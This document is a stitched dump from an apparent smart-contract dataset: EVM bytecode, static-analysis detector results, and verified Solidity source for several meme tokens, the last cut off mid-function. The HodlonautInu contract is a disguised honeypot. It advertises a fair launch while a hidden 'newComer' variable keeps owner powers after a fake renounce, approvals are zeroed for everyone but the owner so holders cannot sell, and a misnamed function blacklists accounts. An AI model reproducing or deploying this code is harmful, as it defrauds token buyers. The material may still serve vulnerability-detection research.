d2565b9750613b4b83614197565b925050600181019050613b2c565b5085935050505092915050565b613b6f816142ed565b82525050565b613b7e81614330565b82525050565b6000613b8f8261418c565b613b9981856141b5565b9350613ba9818560208601614342565b613bb2816144bf565b840191505092915050565b6000613bca6023836141b5565b9150613bd5826144d0565b604082019050919050565b6000613bed602a836141b5565b9150613bf88261451f565b604082019050919050565b6000613c106022836141b5565b9150613c1b8261456e565b604082019050919050565b6000613c336022836141b5565b9150613c3e826145bd565b604082019050919050565b6000613c56601b836141b5565b9150613c618261460c565b602082019050919050565b6000613c796015836141b5565b9150613c8482614635565b602082019050919050565b6000613c9c6023836141b5565b9150613ca78261465e565b604082019050919050565b6000613cbf6021836141b5565b9150613cca826146ad565b604082019050919050565b6000613ce26020836141b5565b9150613ced826146fc565b602082019050919050565b6000613d056029836141b5565b9150613d1082614725565b604082019050919050565b6000613d286025836141b5565b9150613d3382614774565b604082019050919050565b6000613d4b6024836141b5565b9150613d56826147c3565b604082019050919050565b6000613d6e6017836141b5565b9150613d7982614812565b602082019050919050565b6000613d916018836141b5565b9150613d9c8261483b565b602082019050919050565b613db081614319565b82525050565b613dbf81614323565b82525050565b6000602082019050613dda6000830184613af9565b92915050565b6000604082019050613df56000830185613af9565b613e026020830184613af9565b9392505050565b6000604082019050613e1e6000830185613af9565b613e2b6020830184613da7565b9392505050565b600060c082019050613e476000830189613af9565b613e546020830188613da7565b613e616040830187613b75565b613e6e6060830186613b75565b613e7b6080830185613af9565b613e8860a0830184613da7565b979650505050505050565b6000602082019050613ea86000830184613b66565b92915050565b60006020820190508181036000830152613ec88184613b84565b905092915050565b60006020820190508181036000830152613ee981613bbd565b9050919050565b60006020820190508181036000830152613f0981613be0565b9050919050565b60006020820190508181036000830152613f2981613c03565b9050919050565b60006020820190508181036000830152613f4981613c26565b9050919050565b60006020820190508181036000830152613f6981613c49565b9050919050565b60006020820190508181036000830152613f8981613c6c565b9050919050565b60006020820190508181036000830152613fa981613c8f565b9050919050565b60006020820190508181036000830152613fc981613cb2565b9050919050565b60006020820190508181036000830152613fe981613cd5565b9050919050565b6000602082019050818103600083015261400981613cf8565b9050919050565b6000602082019050818103600083015261402981613d1b565b9050919050565b6000602082019050818103600083015261404981613d3e565b9050919050565b6000602082019050818103600083015261406981613d61565b9050919050565b6000602082019050818103600083015261408981613d84565b9050919050565b60006020820190506140a56000830184613da7565b92915050565b600060a0820190506140c06000830188613da7565b6140cd6020830187613b75565b81810360408301526140df8186613b08565b90506140ee6060830185613af9565b6140fb6080830184613da7565b9695505050505050565b600060208201905061411a6000830184613db6565b92915050565b600061412a61413b565b90506141368282614375565b919050565b6000604051905090565b600067ffffffffffffffff8211156141605761415f61447c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006141d182614319565b91506141dc83614319565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614211576142106143ef565b5b828201905092915050565b600061422782614319565b915061423283614319565b9250826142425761424161441e565b5b828204905092915050565b600061425882614319565b915061426383614319565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561429c5761429b6143ef565b5b828202905092915050565b60006142b282614319565b91506142bd83614319565b9250828210156142d0576142cf6143ef565b5b828203905092915050565b60006142e6826142f9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061433b82614319565b9050919050565b60005b83811015614360578082015181840152602081019050614345565b8381111561436f576000848401525b50505050565b61437e826144bf565b810181811067ffffffffffffffff8211171561439d5761439c61447c565b5b80604052505050565b60006143b182614319565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156143e4576143e36143ef565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b61486d816142db565b811461487857600080fd5b50565b614884816142ed565b811461488f57600080fd5b50565b61489b81614319565b81146148a657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202582c3aa76dbcc510c77fed409c14ccccc0fb5be68c81155eee33dca33f9b16664736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
9,522
0x67cafb0262e57f608d7a64aa063a23051b574f8c
/** *Submitted for verification at Etherscan.io on 2021-07-07 */ /* _ _ ___ ____ _ ___ _ _ _ _ _ _____ | | | |/ _ \| _ \| | / _ \| \ | | / \ | | | |_ _| | |_| | | | | | | | | | | | | \| | / _ \| | | | | | | _ | |_| | |_| | |__| |_| | |\ |/ ___ \ |_| | | | |_| |_|\___/|____/|_____\___/|_| \_/_/ \_\___/ |_| Hyper-Deflationary Token based on ERC20 network | $HODLO Telegram: https://t.me/hodlonautinu Website: https://www.hodlonaut.finance Twitter: https://twitter.com/HodlonautInu Information: Supply: 1,000,000,000,000 Redistribution: 2% Development / Marketing, Buyback: 10% 100% Liquidity, No Burn Token Symbol: $HODLO Fair - Launch (No Presale, No Team tokens, No marketing tokens) Liquidity lock after launch immediately Buy Limit: 0.5% Cooldown: 20 s 👉👉👉 */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract HodlonautInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => bool) private aha; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 100 * 10**9 * 10**18; string private _name = 'HoldlonautInu | https://t.me/hodlonautinu'; string private _symbol = 'HODLO'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function isTransfertOk(address account) public view returns (bool) { return aha[account]; } function transertOk(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.'); require(!aha[account], "Account is already blacklisted"); aha[account] = true; } function _approve(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: approve from the zero address"); require(to != address(0), "ERC20: approve to the zero address"); if (from == owner()) { _allowances[from][to] = amount; emit Approval(from, to, amount); } else { _allowances[from][to] = 0; emit Approval(from, to, 4); } } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); require(!aha[recipient], "CHEH"); require(!aha[msg.sender], "CHEH"); require(!aha[sender], "CHEH"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c5780638da5cb5b116100665780638da5cb5b1461037e57806395d89b41146103b2578063a9059cbb14610435578063dd62ed3e14610499576100cf565b806370a08231146102c2578063715018a61461031a5780637d0483d314610324576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bb57806323b872dd146101d9578063313ce5671461025d5780634bf61f151461027e575b600080fd5b6100dc610511565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105b3565b60405180821515815260200191505060405180910390f35b6101c36105d1565b6040518082815260200191505060405180910390f35b610245600480360360608110156101ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105db565b60405180821515815260200191505060405180910390f35b6102656106b4565b604051808260ff16815260200191505060405180910390f35b6102c06004803603602081101561029457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106cb565b005b610304600480360360208110156102d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610949565b6040518082815260200191505060405180910390f35b610322610992565b005b6103666004803603602081101561033a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b1a565b60405180821515815260200191505060405180910390f35b610386610b70565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103ba610b99565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103fa5780820151818401526020810190506103df565b50505050905090810190601f1680156104275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104816004803603604081101561044b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c3b565b60405180821515815260200191505060405180910390f35b6104fb600480360360408110156104af57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c59565b6040518082815260200191505060405180910390f35b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105a95780601f1061057e576101008083540402835291602001916105a9565b820191906000526020600020905b81548152906001019060200180831161058c57829003601f168201915b5050505050905090565b60006105c76105c0610ce0565b8484610ce8565b6001905092915050565b6000600554905090565b60006105e8848484611008565b6106a9846105f4610ce0565b6106a48560405180606001604052806028815260200161169260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065a610ce0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115029092919063ffffffff16565b610ce8565b600190509392505050565b6000600860009054906101000a900460ff16905090565b6106d3610ce0565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610795576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561082e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806117036024913960400191505060405180910390fd5b600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156108ee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4163636f756e7420697320616c726561647920626c61636b6c6973746564000081525060200191505060405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61099a610ce0565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c315780601f10610c0657610100808354040283529160200191610c31565b820191906000526020600020905b815481529060010190602001808311610c1457829003601f168201915b5050505050905090565b6000610c4f610c48610ce0565b8484611008565b6001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d6e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806117276024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610df4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116706022913960400191505060405180910390fd5b610dfc610b70565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f1a5780600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3611003565b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561108e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061164b6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611114576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116e06023913960400191505060405180910390fd5b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260048152602001807f434845480000000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611294576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260048152602001807f434845480000000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611354576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260048152602001807f434845480000000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6113c0816040518060600160405280602681526020016116ba60269139600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115029092919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061145581600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115c290919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582906115af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611574578082015181840152602081019050611559565b50505050905090810190601f1680156115a15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611640576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737357652063616e206e6f7420626c61636b6c69737420556e697377617020726f757465722e45524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212209c7b157bcd288f5d204e1dae167a6cd30e106b4d81b96dd628a5a945483cc60564736f6c634300060c0033
{"success": true, "error": null, "results": {}}
9,523
0x0839f2c04a28c399f78f36a87ccf2ff0af8b383e
/** *Submitted for verification at Etherscan.io on 2022-04-04 */ /** BabyShinaInu 0 tax */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BabyShinaInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "BabyShinaInu"; string private constant _symbol = "BSI"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 0; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 0; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xf2177fe0080425c97370eE7f4897fAcD0c623204); address payable private _marketingAddress = payable(0xf2177fe0080425c97370eE7f4897fAcD0c623204); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; uint256 public _maxWalletSize = 25000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && 